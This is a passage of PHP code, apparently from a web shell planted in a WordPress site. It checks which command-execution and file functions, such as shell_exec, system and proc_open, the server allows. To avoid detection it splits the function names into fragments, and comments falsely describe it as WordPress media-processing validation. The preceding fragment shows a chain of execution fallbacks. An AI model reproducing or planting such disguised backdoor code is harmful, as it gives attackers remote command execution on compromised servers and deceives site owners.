'proc_open')); exit; } } echo json_encode(array('out' => 'ALL_METHODS_BLOCKED', 'method' => 'none')); break; // System capability check - WordPress environment validation // Verifies available PHP functions for media processing // System capability check - WordPress environment validation // Verifies available PHP functions for media processing case 'check': $avail = array(); $checks = array( array('she','ll_ex','ec'), array('ex','ec'), array('pa','sst','hru'), array('sy','stem'), array('po','pen'), array('pro','c_o','pen'), array('fi','le_p','ut_con','tents'), array('fi','le_ge','t_con','tents'), ); foreach ($checks as $parts) { $fn = implode('', $parts); if (function_exists($fn)) { $avail[] = $fn; } } $di = @ini_get('disable_functions'); echo json_encode(array('available' => $avail, 'disable' => ($di ? $di : '